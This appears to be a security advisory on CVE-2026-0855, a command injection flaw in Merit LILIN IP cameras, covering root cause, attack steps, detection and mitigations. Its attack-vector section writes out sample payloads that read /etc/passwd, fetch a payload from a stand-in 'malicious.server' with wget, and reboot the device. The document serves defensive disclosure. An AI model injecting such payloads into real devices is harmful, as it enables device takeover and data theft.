CVE-2026-0855: Merit LILIN IP Camera RCE Vulnerability

CVE-2026-0855 Overview

CVE-2026-0855 is an OS Command Injection vulnerability affecting certain IP Camera models developed by Merit LILIN. This vulnerability allows authenticated remote attackers to inject arbitrary OS commands and execute them on the device, potentially leading to complete device compromise.

Critical Impact

Authenticated attackers can execute arbitrary OS commands on vulnerable Merit LILIN IP cameras, enabling full device takeover, data exfiltration, and potential lateral movement within the network.

Affected Products

• Merit LILIN IP Camera (certain models)

Discovery Timeline

• January 12, 2026 - CVE-2026-0855 published to NVD
• January 13, 2026 - Last updated in NVD database

Technical Details for CVE-2026-0855

Vulnerability Analysis

This vulnerability is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command), commonly known as OS Command Injection. The flaw exists in the web interface of affected Merit LILIN IP cameras, where user-supplied input is passed to the underlying operating system shell without proper sanitization or validation.

Attackers who have authenticated access to the camera's web interface can craft malicious requests containing shell metacharacters or command separators. When the vulnerable application processes these inputs, the injected commands are executed with the privileges of the web application, typically running as root on embedded IoT devices like IP cameras.

The network-based attack vector combined with low complexity requirements makes this vulnerability particularly dangerous in enterprise environments where IP cameras are deployed across multiple locations.

Root Cause

The root cause of CVE-2026-0855 lies in insufficient input validation and improper handling of user-controlled data before passing it to OS command execution functions. The application fails to properly sanitize or escape special characters such as ;, |, &, $(), and backticks that can be used to chain additional commands or redirect command output.

In embedded Linux systems like IP cameras, developers often use shell commands for system operations. When user input is concatenated directly into these command strings without proper escaping, attackers can break out of the intended command context and inject their own commands.

Attack Vector

The attack requires network access to the camera's web interface and valid authentication credentials. An attacker with low-privilege authenticated access can exploit this vulnerability by:

1. Authenticating to the IP camera's web management interface
2. Identifying input fields or parameters that are processed by backend shell commands
3. Injecting OS commands using shell metacharacters (e.g., ; cat /etc/passwd, | wget malicious.server/payload, or `reboot`)
4. The injected commands execute on the device with the web server's privileges

The vulnerability allows for high impact on confidentiality, integrity, and availability of the affected device. Attackers can read sensitive configuration data, modify camera settings, disable recording, pivot to other network devices, or enlist the camera into a botnet.

Detection Methods for CVE-2026-0855

Indicators of Compromise

• Unusual outbound network connections from IP camera devices to unknown external servers
• Unexpected processes running on IP camera devices, particularly shells or download utilities
• Modified configuration files or unexpected firmware changes on camera systems
• Anomalous HTTP requests to camera web interfaces containing shell metacharacters (;, |, &, $(), backticks)
• Unexplained camera reboots or service interruptions

Detection Strategies

• Monitor network traffic to and from IP cameras for command-and-control patterns or data exfiltration
• Implement web application firewall (WAF) rules to detect and block requests containing OS command injection payloads
• Deploy intrusion detection systems (IDS) with signatures for common command injection patterns targeting IoT devices
• Review authentication logs for the IP camera web interface to identify unauthorized access attempts

Monitoring Recommendations

• Establish baseline network behavior for IP cameras and alert on deviations
• Monitor for DNS requests from IP cameras to suspicious or newly registered domains
• Implement centralized logging for all IP camera management interface access
• Configure alerts for multiple failed authentication attempts followed by successful login

How to Mitigate CVE-2026-0855

Immediate Actions Required

• Segment IP cameras on isolated network VLANs with restricted access to critical infrastructure
• Implement strong authentication mechanisms and change default credentials on all Merit LILIN IP cameras
• Restrict web management interface access to trusted administrator IP addresses only
• Disable remote management features if not required for operations
• Monitor vendor channels for firmware updates addressing this vulnerability

Patch Information

At the time of this publication, users should consult the TWCERT Security Advisory for the latest patch information and vendor guidance. Merit LILIN customers should contact the vendor directly for firmware updates that address CVE-2026-0855. Organizations should prioritize patching internet-facing cameras and those in sensitive areas.

Workarounds

• Place affected IP cameras behind a VPN or firewall that restricts access to the web management interface
• Implement network-level access controls to limit which hosts can communicate with camera devices
• Use application-layer filtering to block HTTP requests containing shell metacharacters
• Consider temporarily disabling the web management interface and using alternative management methods if available
• Implement multi-factor authentication where supported to reduce the risk of credential compromise

# Network isolation example using iptables (on gateway/firewall)
# Restrict IP camera subnet to only necessary traffic
iptables -A FORWARD -s 10.10.10.0/24 -d 10.0.0.0/8 -j DROP
iptables -A FORWARD -s 10.10.10.0/24 -p tcp --dport 443 -d management_server -j ACCEPT
iptables -A FORWARD -s 10.10.10.0/24 -p udp --dport 123 -j ACCEPT
iptables -A FORWARD -s 10.10.10.0/24 -j DROP